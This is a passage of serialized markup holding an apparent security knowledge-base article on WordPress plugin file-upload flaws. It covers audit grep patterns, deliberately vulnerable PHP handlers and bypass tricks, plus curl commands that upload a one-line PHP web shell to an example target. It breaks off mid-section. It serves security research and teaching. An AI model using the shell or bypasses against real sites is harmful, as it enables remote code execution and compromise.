session\n",[36,15235,15236,15238,15240,15242,15244,15246,15248,15250,15252,15254,15257,15259],{"class":38,"line":255},[36,15237,5752],{"class":605},[36,15239,1220],{"class":102},[36,15241,1358],{"class":605},[36,15243,92],{"class":49},[36,15245,96],{"class":95},[36,15247,709],{"class":95},[36,15249,13608],{"class":53},[36,15251,625],{"class":53},[36,15253,1911],{"class":605},[36,15255,15256],{"class":53},"\u002F\"",[36,15258,103],{"class":102},[36,15260,155],{"class":95},[36,15262,15263,15265,15267,15270,15272,15274,15276],{"class":38,"line":261},[36,15264,552],{"class":49},[36,15266,726],{"class":95},[36,15268,15269],{"class":53}," '\"nonce\"\\s*:\\s*\"\\K[a-f0-9]{10}'",[36,15271,103],{"class":102},[36,15273,5296],{"class":49},[36,15275,6454],{"class":95},[36,15277,1385],{"class":605},[36,15279,15280,15282,15285,15287],{"class":38,"line":267},[36,15281,1226],{"class":95},[36,15283,15284],{"class":53}," \"Subscriber nonce: ",[36,15286,5806],{"class":605},[36,15288,668],{"class":53},[36,15290,15291],{"class":38,"line":273},[36,15292,61],{"emptyLinePlaceholder":60},[36,15294,15295],{"class":38,"line":279},[36,15296,15297],{"class":42},"# Test all AJAX actions with subscriber privileges\n",[36,15299,15300,15302,15304,15306,15308,15310,15313,15315],{"class":38,"line":285},[36,15301,1325],{"class":102},[36,15303,4352],{"class":605},[36,15305,1331],{"class":102},[36,15307,1334],{"class":605},[36,15309,13332],{"class":49},[36,15311,15312],{"class":53}," \u002Ftmp\u002Fall_ajax_actions.txt",[36,15314,1346],{"class":605},[36,15316,609],{"class":102},[36,15318,15319,15321,15323,15325,15327,15329,15331,15333,15335,15337],{"class":38,"line":291},[36,15320,1353],{"class":605},[36,15322,1220],{"class":102},[36,15324,1358],{"class":605},[36,15326,92],{"class":49},[36,15328,96],{"class":95},[36,15330,709],{"class":95},[36,15332,13608],{"class":53},[36,15334,792],{"class":95},[36,15336,795],{"class":53},[36,15338,155],{"class":95},[36,15340,15341,15344,15346,15348],{"class":38,"line":297},[36,15342,15343],{"class":53},"      \"",[36,15345,1911],{"class":605},[36,15347,4404],{"class":53},[36,15349,155],{"class":95},[36,15351,15352,15354,15356,15358,15361,15363,15365],{"class":38,"line":303},[36,15353,4411],{"class":95},[36,15355,4414],{"class":53},[36,15357,2797],{"class":605},[36,15359,15360],{"class":53},"&nonce=",[36,15362,5806],{"class":605},[36,15364,631],{"class":53},[36,15366,1385],{"class":605},[36,15368,15369],{"class":38,"line":308},[36,15370,15371],{"class":42},"    # Look for signs of success that shouldn't happen for subscribers\n",[36,15373,15374,15376,15378,15380,15382,15384,15386,15388,15391,15394,15396],{"class":38,"line":314},[36,15375,614],{"class":102},[36,15377,1392],{"class":95},[36,15379,625],{"class":53},[36,15381,1397],{"class":605},[36,15383,631],{"class":53},[36,15385,103],{"class":102},[36,15387,617],{"class":49},[36,15389,15390],{"class":95}," -qv",[36,15392,15393],{"class":53}," \"permission\\|forbidden\\|unauthorized\\|nonce\"",[36,15395,606],{"class":605},[36,15397,655],{"class":102},[36,15399,15400,15402,15405,15407],{"class":38,"line":320},[36,15401,660],{"class":95},[36,15403,15404],{"class":53}," \"Potential privesc via action: ",[36,15406,2797],{"class":605},[36,15408,668],{"class":53},[36,15410,15411,15413,15415,15417,15419,15421,15423,15425],{"class":38,"line":326},[36,15412,660],{"class":95},[36,15414,625],{"class":53},[36,15416,1397],{"class":605},[36,15418,631],{"class":53},[36,15420,103],{"class":102},[36,15422,5296],{"class":49},[36,15424,164],{"class":95},[36,15426,15427],{"class":95}," 200\n",[36,15429,15430],{"class":38,"line":331},[36,15431,673],{"class":102},[36,15433,15434],{"class":38,"line":337},[36,15435,678],{"class":102},[2645,15437,15438],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":31,"searchDepth":46,"depth":46,"links":15440},[15441,15442,15443,15444,15453,15457,15458,15459,15460],{"id":12972,"depth":46,"text":12973},{"id":13096,"depth":46,"text":13097},{"id":13215,"depth":46,"text":13216},{"id":13344,"depth":46,"text":13345,"children":15445},[15446,15447,15448,15449,15450,15451,15452],{"id":13348,"depth":57,"text":13349},{"id":13518,"depth":57,"text":13519},{"id":13661,"depth":57,"text":13662},{"id":13717,"depth":57,"text":13718},{"id":13847,"depth":57,"text":13848},{"id":13939,"depth":57,"text":13940},{"id":14072,"depth":57,"text":14073},{"id":14257,"depth":46,"text":14258,"children":15454},[15455,15456],{"id":14261,"depth":57,"text":14262},{"id":14522,"depth":57,"text":14523},{"id":14529,"depth":46,"text":14530},{"id":14901,"depth":46,"text":14902},{"id":15017,"depth":46,"text":15018},{"id":15124,"depth":46,"text":15125},"User roles, capability checks, cookie authentication, and common privilege escalation patterns in WordPress plugins",{},"\u002Fknowledge-base\u002Fwordpress-authentication-and-privilege-escalation",{"title":12961,"description":15461},"knowledge-base\u002Fwordpress-authentication-and-privilege-escalation","RYlN8RuR58o7J3yhphawAE93z40ICNet7mnptpfUgfA",{"id":15468,"title":15469,"body":15470,"category":12952,"description":17961,"extension":2673,"meta":17962,"navigation":60,"order":78,"path":17963,"seo":17964,"stem":17965,"__hash__":17966},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-file-upload-vulnerabilities.md","WordPress File Upload Vulnerabilities",{"type":7,"value":15471,"toc":17938},[15472,15475,15478,15482,15485,15517,15524,15528,15651,15664,15668,15721,15734,15738,16002,16006,16010,16076,16151,16155,16162,16219,16272,16276,16279,16351,16417,16421,16424,16505,16571,16575,16582,16750,16754,16757,16786,16913,16917,16920,16963,16966,17081,17085,17090,17144,17222,17226,17230,17441,17445,17586,17590,17700,17704,17843,17847,17936],[10,15473,15469],{"id":15474},"wordpress-file-upload-vulnerabilities",[14,15476,15477],{},"File upload vulnerabilities in WordPress plugins can lead to remote code execution, stored XSS, or server-side request forgery. Understanding how WordPress validates uploads and the common bypass techniques is essential for security research.",[18,15479,15481],{"id":15480},"wordpress-upload-architecture","WordPress Upload Architecture",[14,15483,15484],{},"WordPress handles file uploads through a multi-layer system:",[2706,15486,15487,15493,15499,15505,15511],{},[2709,15488,15489,15492],{},[33,15490,15491],{},"wp_handle_upload()"," - Main entry point for upload handling",[2709,15494,15495,15498],{},[33,15496,15497],{},"wp_check_filetype()"," - Extension-based type detection",[2709,15500,15501,15504],{},[33,15502,15503],{},"wp_check_filetype_and_ext()"," - Extension + content-based detection",[2709,15506,15507,15510],{},[33,15508,15509],{},"wp_unique_filename()"," - Filename collision prevention",[2709,15512,15513,15516],{},[33,15514,15515],{},"sanitize_file_name()"," - Filename sanitization",[14,15518,15519,15520,15523],{},"Files are stored in ",[33,15521,15522],{},"wp-content\u002Fuploads\u002FYYYY\u002FMM\u002F"," by default.",[18,15525,15527],{"id":15526},"wp_handle_upload-internals","wp_handle_upload() Internals",[26,15529,15531],{"className":177,"code":15530,"language":179,"meta":31,"style":31},"\u002F\u002F Typical plugin usage\nfunction handle_plugin_upload() {\n    if ( ! function_exists( 'wp_handle_upload' ) ) {\n        require_once ABSPATH . 'wp-admin\u002Fincludes\u002Ffile.php';\n    }\n\n    $upload_overrides = [\n        'test_form' => false, \u002F\u002F Disable nonce check in handle_upload\n        'test_type' => true,  \u002F\u002F Enable MIME type checking\n    ];\n\n    $result = wp_handle_upload( $_FILES['upload_file'], $upload_overrides );\n\n    if ( isset( $result['error'] ) ) {\n        wp_send_json_error( $result['error'] );\n    }\n\n    \u002F\u002F $result contains: file (path), url, type\n    wp_send_json_success([\n        'url'  => $result['url'],\n        'path' => $result['file'],\n        'type' => $result['type'],\n    ]);\n}\n",[33,15532,15533,15538,15543,15548,15553,15557,15561,15566,15574,15582,15587,15591,15596,15600,15605,15610,15614,15618,15623,15628,15633,15638,15643,15647],{"__ignoreMap":31},[36,15534,15535],{"class":38,"line":39},[36,15536,15537],{},"\u002F\u002F Typical plugin usage\n",[36,15539,15540],{"class":38,"line":46},[36,15541,15542],{},"function handle_plugin_upload() {\n",[36,15544,15545],{"class":38,"line":57},[36,15546,15547],{},"    if ( ! function_exists( 'wp_handle_upload' ) ) {\n",[36,15549,15550],{"class":38,"line":64},[36,15551,15552],{},"        require_once ABSPATH . 'wp-admin\u002Fincludes\u002Ffile.php';\n",[36,15554,15555],{"class":38,"line":70},[36,15556,1622],{},[36,15558,15559],{"class":38,"line":78},[36,15560,61],{"emptyLinePlaceholder":60},[36,15562,15563],{"class":38,"line":83},[36,15564,15565],{},"    $upload_overrides = [\n",[36,15567,15568,15571],{"class":38,"line":89},[36,15569,15570],{},"        'test_form' => false,",[36,15572,15573],{}," \u002F\u002F Disable nonce check in handle_upload\n",[36,15575,15576,15579],{"class":38,"line":115},[36,15577,15578],{},"        'test_type' => true,",[36,15580,15581],{},"  \u002F\u002F Enable MIME type checking\n",[36,15583,15584],{"class":38,"line":133},[36,15585,15586],{},"    ];\n",[36,15588,15589],{"class":38,"line":138},[36,15590,61],{"emptyLinePlaceholder":60},[36,15592,15593],{"class":38,"line":144},[36,15594,15595],{},"    $result = wp_handle_upload( $_FILES['upload_file'], $upload_overrides );\n",[36,15597,15598],{"class":38,"line":158},[36,15599,61],{"emptyLinePlaceholder":60},[36,15601,15602],{"class":38,"line":255},[36,15603,15604],{},"    if ( isset( $result['error'] ) ) {\n",[36,15606,15607],{"class":38,"line":261},[36,15608,15609],{},"        wp_send_json_error( $result['error'] );\n",[36,15611,15612],{"class":38,"line":267},[36,15613,1622],{},[36,15615,15616],{"class":38,"line":273},[36,15617,61],{"emptyLinePlaceholder":60},[36,15619,15620],{"class":38,"line":279},[36,15621,15622],{},"    \u002F\u002F $result contains: file (path), url, type\n",[36,15624,15625],{"class":38,"line":285},[36,15626,15627],{},"    wp_send_json_success([\n",[36,15629,15630],{"class":38,"line":291},[36,15631,15632],{},"        'url'  => $result['url'],\n",[36,15634,15635],{"class":38,"line":297},[36,15636,15637],{},"        'path' => $result['file'],\n",[36,15639,15640],{"class":38,"line":303},[36,15641,15642],{},"        'type' => $result['type'],\n",[36,15644,15645],{"class":38,"line":308},[36,15646,13576],{},[36,15648,15649],{"class":38,"line":314},[36,15650,323],{},[14,15652,361,15653,15656,15657,15659,15660,15663],{},[33,15654,15655],{},"test_form"," parameter is critical. When set to ",[33,15658,1821],{},", it disables the nonce check inside ",[33,15661,15662],{},"wp_handle_upload",". Plugins that set this without an external nonce check are vulnerable to CSRF-based file uploads.",[18,15665,15667],{"id":15666},"wp_check_filetype-and-extension-validation","wp_check_filetype and Extension Validation",[26,15669,15671],{"className":177,"code":15670,"language":179,"meta":31,"style":31},"\u002F\u002F WordPress checks extensions against an allowlist\n$allowed_types = wp_get_mime_types();\n\u002F\u002F Returns array like: ['jpg|jpeg|jpe' => 'image\u002Fjpeg', 'png' => 'image\u002Fpng', ...]\n\n\u002F\u002F wp_check_filetype returns\n$check = wp_check_filetype( 'shell.php' );\n\u002F\u002F Returns: ['ext' => false, 'type' => false]\n\n$check = wp_check_filetype( 'image.jpg' );\n\u002F\u002F Returns: ['ext' => 'jpg', 'type' => 'image\u002Fjpeg']\n",[33,15672,15673,15678,15683,15688,15692,15697,15702,15707,15711,15716],{"__ignoreMap":31},[36,15674,15675],{"class":38,"line":39},[36,15676,15677],{},"\u002F\u002F WordPress checks extensions against an allowlist\n",[36,15679,15680],{"class":38,"line":46},[36,15681,15682],{},"$allowed_types = wp_get_mime_types();\n",[36,15684,15685],{"class":38,"line":57},[36,15686,15687],{},"\u002F\u002F Returns array like: ['jpg|jpeg|jpe' => 'image\u002Fjpeg', 'png' => 'image\u002Fpng', ...]\n",[36,15689,15690],{"class":38,"line":64},[36,15691,61],{"emptyLinePlaceholder":60},[36,15693,15694],{"class":38,"line":70},[36,15695,15696],{},"\u002F\u002F wp_check_filetype returns\n",[36,15698,15699],{"class":38,"line":78},[36,15700,15701],{},"$check = wp_check_filetype( 'shell.php' );\n",[36,15703,15704],{"class":38,"line":83},[36,15705,15706],{},"\u002F\u002F Returns: ['ext' => false, 'type' => false]\n",[36,15708,15709],{"class":38,"line":89},[36,15710,61],{"emptyLinePlaceholder":60},[36,15712,15713],{"class":38,"line":115},[36,15714,15715],{},"$check = wp_check_filetype( 'image.jpg' );\n",[36,15717,15718],{"class":38,"line":133},[36,15719,15720],{},"\u002F\u002F Returns: ['ext' => 'jpg', 'type' => 'image\u002Fjpeg']\n",[14,15722,15723,15725,15726,15729,15730,15733],{},[33,15724,15503],{}," is more thorough - it also examines the actual file content using ",[33,15727,15728],{},"finfo"," or the ",[33,15731,15732],{},"getimagesize()"," function for images. However, this only validates the file header bytes, not the entire content.",[18,15735,15737],{"id":15736},"grep-patterns-for-upload-vulnerabilities","Grep Patterns for Upload Vulnerabilities",[26,15739,15741],{"className":28,"code":15740,"language":30,"meta":31,"style":31},"PLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\n\n# Find upload handling code\ngrep -rn \"wp_handle_upload\\|move_uploaded_file\\|\\$_FILES\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find places where test_type or test_form is disabled\ngrep -rn \"test_type.*false\\|test_form.*false\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find custom MIME type filters (potential bypass)\ngrep -rn \"upload_mimes\\|ext2type\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find direct file writing\ngrep -rn \"file_put_contents\\|fwrite\\|copy(\" \"$PLUGIN_DIR\" --include=\"*.php\" -n | \\\n  grep -v \"\u002F\u002F\\|#\"\n\n# Find upload handlers without authentication\ngrep -rn \"wp_ajax_nopriv.*upload\\|upload.*wp_ajax_nopriv\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find move_uploaded_file (bypasses WordPress validation entirely)\ngrep -rn \"move_uploaded_file\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find path traversal risks in upload destinations\ngrep -rn \"upload_dir\\|UPLOAD\\|wp_upload_dir\" \"$PLUGIN_DIR\" --include=\"*.php\" -A5 | \\\n  grep \"\\$_POST\\|\\$_GET\\|\\$_REQUEST\\|user_id\\|folder\\|path\\|dir\"\n",[33,15742,15743,15751,15755,15760,15786,15790,15795,15816,15820,15825,15846,15850,15855,15880,15889,15893,15898,15919,15923,15928,15949,15953,15958,15983],{"__ignoreMap":31},[36,15744,15745,15747,15749],{"class":38,"line":39},[36,15746,2415],{"class":605},[36,15748,1220],{"class":102},[36,15750,2420],{"class":53},[36,15752,15753],{"class":38,"line":46},[36,15754,61],{"emptyLinePlaceholder":60},[36,15756,15757],{"class":38,"line":57},[36,15758,15759],{"class":42},"# Find upload handling code\n",[36,15761,15762,15764,15766,15769,15771,15774,15776,15778,15780,15782,15784],{"class":38,"line":64},[36,15763,490],{"class":49},[36,15765,493],{"class":95},[36,15767,15768],{"class":53}," \"wp_handle_upload\\|move_uploaded_file\\|",[36,15770,4591],{"class":95},[36,15772,15773],{"class":53},"_FILES\"",[36,15775,625],{"class":53},[36,15777,2442],{"class":605},[36,15779,631],{"class":53},[36,15781,502],{"class":95},[36,15783,540],{"class":53},[36,15785,2906],{"class":95},[36,15787,15788],{"class":38,"line":70},[36,15789,61],{"emptyLinePlaceholder":60},[36,15791,15792],{"class":38,"line":78},[36,15793,15794],{"class":42},"# Find places where test_type or test_form is disabled\n",[36,15796,15797,15799,15801,15804,15806,15808,15810,15812,15814],{"class":38,"line":83},[36,15798,490],{"class":49},[36,15800,493],{"class":95},[36,15802,15803],{"class":53}," \"test_type.*false\\|test_form.*false\"",[36,15805,625],{"class":53},[36,15807,2442],{"class":605},[36,15809,631],{"class":53},[36,15811,502],{"class":95},[36,15813,540],{"class":53},[36,15815,2906],{"class":95},[36,15817,15818],{"class":38,"line":89},[36,15819,61],{"emptyLinePlaceholder":60},[36,15821,15822],{"class":38,"line":115},[36,15823,15824],{"class":42},"# Find custom MIME type filters (potential bypass)\n",[36,15826,15827,15829,15831,15834,15836,15838,15840,15842,15844],{"class":38,"line":133},[36,15828,490],{"class":49},[36,15830,493],{"class":95},[36,15832,15833],{"class":53}," \"upload_mimes\\|ext2type\"",[36,15835,625],{"class":53},[36,15837,2442],{"class":605},[36,15839,631],{"class":53},[36,15841,502],{"class":95},[36,15843,540],{"class":53},[36,15845,2906],{"class":95},[36,15847,15848],{"class":38,"line":138},[36,15849,61],{"emptyLinePlaceholder":60},[36,15851,15852],{"class":38,"line":144},[36,15853,15854],{"class":42},"# Find direct file writing\n",[36,15856,15857,15859,15861,15864,15866,15868,15870,15872,15874,15876,15878],{"class":38,"line":158},[36,15858,490],{"class":49},[36,15860,493],{"class":95},[36,15862,15863],{"class":53}," \"file_put_contents\\|fwrite\\|copy(\"",[36,15865,625],{"class":53},[36,15867,2442],{"class":605},[36,15869,631],{"class":53},[36,15871,502],{"class":95},[36,15873,540],{"class":53},[36,15875,1229],{"class":95},[36,15877,103],{"class":102},[36,15879,155],{"class":95},[36,15881,15882,15884,15886],{"class":38,"line":255},[36,15883,552],{"class":49},[36,15885,555],{"class":95},[36,15887,15888],{"class":53}," \"\u002F\u002F\\|#\"\n",[36,15890,15891],{"class":38,"line":261},[36,15892,61],{"emptyLinePlaceholder":60},[36,15894,15895],{"class":38,"line":267},[36,15896,15897],{"class":42},"# Find upload handlers without authentication\n",[36,15899,15900,15902,15904,15907,15909,15911,15913,15915,15917],{"class":38,"line":273},[36,15901,490],{"class":49},[36,15903,493],{"class":95},[36,15905,15906],{"class":53}," \"wp_ajax_nopriv.*upload\\|upload.*wp_ajax_nopriv\"",[36,15908,625],{"class":53},[36,15910,2442],{"class":605},[36,15912,631],{"class":53},[36,15914,502],{"class":95},[36,15916,540],{"class":53},[36,15918,2906],{"class":95},[36,15920,15921],{"class":38,"line":279},[36,15922,61],{"emptyLinePlaceholder":60},[36,15924,15925],{"class":38,"line":285},[36,15926,15927],{"class":42},"# Find move_uploaded_file (bypasses WordPress validation entirely)\n",[36,15929,15930,15932,15934,15937,15939,15941,15943,15945,15947],{"class":38,"line":291},[36,15931,490],{"class":49},[36,15933,493],{"class":95},[36,15935,15936],{"class":53}," \"move_uploaded_file\"",[36,15938,625],{"class":53},[36,15940,2442],{"class":605},[36,15942,631],{"class":53},[36,15944,502],{"class":95},[36,15946,540],{"class":53},[36,15948,2906],{"class":95},[36,15950,15951],{"class":38,"line":297},[36,15952,61],{"emptyLinePlaceholder":60},[36,15954,15955],{"class":38,"line":303},[36,15956,15957],{"class":42},"# Find path traversal risks in upload destinations\n",[36,15959,15960,15962,15964,15967,15969,15971,15973,15975,15977,15979,15981],{"class":38,"line":308},[36,15961,490],{"class":49},[36,15963,493],{"class":95},[36,15965,15966],{"class":53}," \"upload_dir\\|UPLOAD\\|wp_upload_dir\"",[36,15968,625],{"class":53},[36,15970,2442],{"class":605},[36,15972,631],{"class":53},[36,15974,502],{"class":95},[36,15976,540],{"class":53},[36,15978,4659],{"class":95},[36,15980,103],{"class":102},[36,15982,155],{"class":95},[36,15984,15985,15987,15989,15991,15993,15995,15997,15999],{"class":38,"line":314},[36,15986,552],{"class":49},[36,15988,625],{"class":53},[36,15990,4591],{"class":95},[36,15992,4594],{"class":53},[36,15994,4591],{"class":95},[36,15996,4599],{"class":53},[36,15998,4591],{"class":95},[36,16000,16001],{"class":53},"_REQUEST\\|user_id\\|folder\\|path\\|dir\"\n",[18,16003,16005],{"id":16004},"common-upload-vulnerabilities","Common Upload Vulnerabilities",[684,16007,16009],{"id":16008},"vulnerability-1-missing-file-type-validation","Vulnerability 1: Missing File Type Validation",[26,16011,16013],{"className":177,"code":16012,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: No type validation whatsoever\nadd_action( 'wp_ajax_upload_avatar', 'upload_avatar_handler' );\nadd_action( 'wp_ajax_nopriv_upload_avatar', 'upload_avatar_handler' );\n\nfunction upload_avatar_handler() {\n    $upload_dir = wp_upload_dir();\n    $file       = $_FILES['avatar'];\n    $target     = $upload_dir['path'] . '\u002F' . basename( $file['name'] );\n\n    if ( move_uploaded_file( $file['tmp_name'], $target ) ) {\n        wp_send_json_success([ 'url' => $upload_dir['url'] . '\u002F' . basename($file['name']) ]);\n    }\n}\n",[33,16014,16015,16020,16025,16030,16034,16039,16044,16049,16054,16058,16063,16068,16072],{"__ignoreMap":31},[36,16016,16017],{"class":38,"line":39},[36,16018,16019],{},"\u002F\u002F VULNERABLE: No type validation whatsoever\n",[36,16021,16022],{"class":38,"line":46},[36,16023,16024],{},"add_action( 'wp_ajax_upload_avatar', 'upload_avatar_handler' );\n",[36,16026,16027],{"class":38,"line":57},[36,16028,16029],{},"add_action( 'wp_ajax_nopriv_upload_avatar', 'upload_avatar_handler' );\n",[36,16031,16032],{"class":38,"line":64},[36,16033,61],{"emptyLinePlaceholder":60},[36,16035,16036],{"class":38,"line":70},[36,16037,16038],{},"function upload_avatar_handler() {\n",[36,16040,16041],{"class":38,"line":78},[36,16042,16043],{},"    $upload_dir = wp_upload_dir();\n",[36,16045,16046],{"class":38,"line":83},[36,16047,16048],{},"    $file       = $_FILES['avatar'];\n",[36,16050,16051],{"class":38,"line":89},[36,16052,16053],{},"    $target     = $upload_dir['path'] . '\u002F' . basename( $file['name'] );\n",[36,16055,16056],{"class":38,"line":115},[36,16057,61],{"emptyLinePlaceholder":60},[36,16059,16060],{"class":38,"line":133},[36,16061,16062],{},"    if ( move_uploaded_file( $file['tmp_name'], $target ) ) {\n",[36,16064,16065],{"class":38,"line":138},[36,16066,16067],{},"        wp_send_json_success([ 'url' => $upload_dir['url'] . '\u002F' . basename($file['name']) ]);\n",[36,16069,16070],{"class":38,"line":144},[36,16071,1622],{},[36,16073,16074],{"class":38,"line":158},[36,16075,323],{},[26,16077,16079],{"className":28,"code":16078,"language":30,"meta":31,"style":31},"# Upload PHP shell directly\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -F 'action=upload_avatar' \\\n  -F 'avatar=@\u002Ftmp\u002Fshell.php;type=image\u002Fjpeg'\n\n# Shell content\ncat > \u002Ftmp\u002Fshell.php \u003C\u003C 'EOF'\n\u003C?php echo shell_exec($_GET['cmd']); ?>\nEOF\n",[33,16080,16081,16086,16100,16110,16117,16121,16126,16141,16146],{"__ignoreMap":31},[36,16082,16083],{"class":38,"line":39},[36,16084,16085],{"class":42},"# Upload PHP shell directly\n",[36,16087,16088,16090,16092,16094,16096,16098],{"class":38,"line":46},[36,16089,92],{"class":49},[36,16091,96],{"class":95},[36,16093,792],{"class":95},[36,16095,795],{"class":53},[36,16097,3208],{"class":53},[36,16099,155],{"class":95},[36,16101,16102,16105,16108],{"class":38,"line":57},[36,16103,16104],{"class":95},"  -F",[36,16106,16107],{"class":53}," 'action=upload_avatar'",[36,16109,155],{"class":95},[36,16111,16112,16114],{"class":38,"line":64},[36,16113,16104],{"class":95},[36,16115,16116],{"class":53}," 'avatar=@\u002Ftmp\u002Fshell.php;type=image\u002Fjpeg'\n",[36,16118,16119],{"class":38,"line":70},[36,16120,61],{"emptyLinePlaceholder":60},[36,16122,16123],{"class":38,"line":78},[36,16124,16125],{"class":42},"# Shell content\n",[36,16127,16128,16130,16132,16135,16138],{"class":38,"line":83},[36,16129,13332],{"class":49},[36,16131,6391],{"class":102},[36,16133,16134],{"class":53}," \u002Ftmp\u002Fshell.php",[36,16136,16137],{"class":102}," \u003C\u003C",[36,16139,16140],{"class":53}," 'EOF'\n",[36,16142,16143],{"class":38,"line":89},[36,16144,16145],{"class":53},"\u003C?php echo shell_exec($_GET['cmd']); ?>\n",[36,16147,16148],{"class":38,"line":115},[36,16149,16150],{"class":53},"EOF\n",[684,16152,16154],{"id":16153},"vulnerability-2-mime-type-bypass","Vulnerability 2: MIME Type Bypass",[14,16156,16157,16158,16161],{},"The most common: trusting ",[33,16159,16160],{},"$_FILES['type']"," (client-provided MIME type):",[26,16163,16165],{"className":177,"code":16164,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Checks client-supplied MIME type\nfunction vulnerable_upload() {\n    $allowed = ['image\u002Fjpeg', 'image\u002Fpng', 'image\u002Fgif'];\n    $type    = $_FILES['upload']['type']; \u002F\u002F ATTACKER CONTROLS THIS\n    \n    if ( ! in_array( $type, $allowed ) ) {\n        wp_send_json_error( 'Invalid file type' );\n    }\n    \n    move_uploaded_file( $_FILES['upload']['tmp_name'], $destination );\n}\n",[33,16166,16167,16172,16177,16182,16187,16192,16197,16202,16206,16210,16215],{"__ignoreMap":31},[36,16168,16169],{"class":38,"line":39},[36,16170,16171],{},"\u002F\u002F VULNERABLE: Checks client-supplied MIME type\n",[36,16173,16174],{"class":38,"line":46},[36,16175,16176],{},"function vulnerable_upload() {\n",[36,16178,16179],{"class":38,"line":57},[36,16180,16181],{},"    $allowed = ['image\u002Fjpeg', 'image\u002Fpng', 'image\u002Fgif'];\n",[36,16183,16184],{"class":38,"line":64},[36,16185,16186],{},"    $type    = $_FILES['upload']['type']; \u002F\u002F ATTACKER CONTROLS THIS\n",[36,16188,16189],{"class":38,"line":70},[36,16190,16191],{},"    \n",[36,16193,16194],{"class":38,"line":78},[36,16195,16196],{},"    if ( ! in_array( $type, $allowed ) ) {\n",[36,16198,16199],{"class":38,"line":83},[36,16200,16201],{},"        wp_send_json_error( 'Invalid file type' );\n",[36,16203,16204],{"class":38,"line":89},[36,16205,1622],{},[36,16207,16208],{"class":38,"line":115},[36,16209,16191],{},[36,16211,16212],{"class":38,"line":133},[36,16213,16214],{},"    move_uploaded_file( $_FILES['upload']['tmp_name'], $destination );\n",[36,16216,16217],{"class":38,"line":138},[36,16218,323],{},[26,16220,16222],{"className":28,"code":16221,"language":30,"meta":31,"style":31},"# Bypass: set Content-Type to image\u002Fjpeg while uploading PHP\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -F 'action=vulnerable_upload' \\\n  -F 'upload=@\u002Ftmp\u002Fshell.php;type=image\u002Fjpeg'\n# The ;type=image\u002Fjpeg overrides the MIME type in the multipart form\n",[33,16223,16224,16229,16245,16251,16260,16267],{"__ignoreMap":31},[36,16225,16226],{"class":38,"line":39},[36,16227,16228],{"class":42},"# Bypass: set Content-Type to image\u002Fjpeg while uploading PHP\n",[36,16230,16231,16233,16235,16237,16239,16241,16243],{"class":38,"line":46},[36,16232,92],{"class":49},[36,16234,96],{"class":95},[36,16236,709],{"class":95},[36,16238,712],{"class":53},[36,16240,792],{"class":95},[36,16242,795],{"class":53},[36,16244,155],{"class":95},[36,16246,16247,16249],{"class":38,"line":57},[36,16248,3329],{"class":53},[36,16250,155],{"class":95},[36,16252,16253,16255,16258],{"class":38,"line":64},[36,16254,16104],{"class":95},[36,16256,16257],{"class":53}," 'action=vulnerable_upload'",[36,16259,155],{"class":95},[36,16261,16262,16264],{"class":38,"line":70},[36,16263,16104],{"class":95},[36,16265,16266],{"class":53}," 'upload=@\u002Ftmp\u002Fshell.php;type=image\u002Fjpeg'\n",[36,16268,16269],{"class":38,"line":78},[36,16270,16271],{"class":42},"# The ;type=image\u002Fjpeg overrides the MIME type in the multipart form\n",[684,16273,16275],{"id":16274},"vulnerability-3-extension-bypass-techniques","Vulnerability 3: Extension Bypass Techniques",[14,16277,16278],{},"When the plugin checks the extension but improperly:",[26,16280,16282],{"className":177,"code":16281,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Case-insensitive bypass not handled, double extension not handled\nfunction check_extension( $filename ) {\n    $ext = pathinfo( $filename, PATHINFO_EXTENSION );\n    $allowed = ['jpg', 'jpeg', 'png', 'gif'];\n    return in_array( $ext, $allowed );\n}\n\u002F\u002F \"shell.PHP\" -> ext = \"PHP\" -> not in allowlist, BLOCKED\n\u002F\u002F But some servers are case-insensitive...\n\n\u002F\u002F \"shell.php.jpg\" -> ext = \"jpg\" -> PASSES check\n\u002F\u002F If Apache has AddHandler, .php.jpg may execute as PHP\n\n\u002F\u002F \"shell.php%00.jpg\" -> null byte truncation (PHP \u003C 5.3.4)\n\u002F\u002F Results in \"shell.php\" being written\n",[33,16283,16284,16289,16294,16299,16304,16309,16313,16318,16323,16327,16332,16337,16341,16346],{"__ignoreMap":31},[36,16285,16286],{"class":38,"line":39},[36,16287,16288],{},"\u002F\u002F VULNERABLE: Case-insensitive bypass 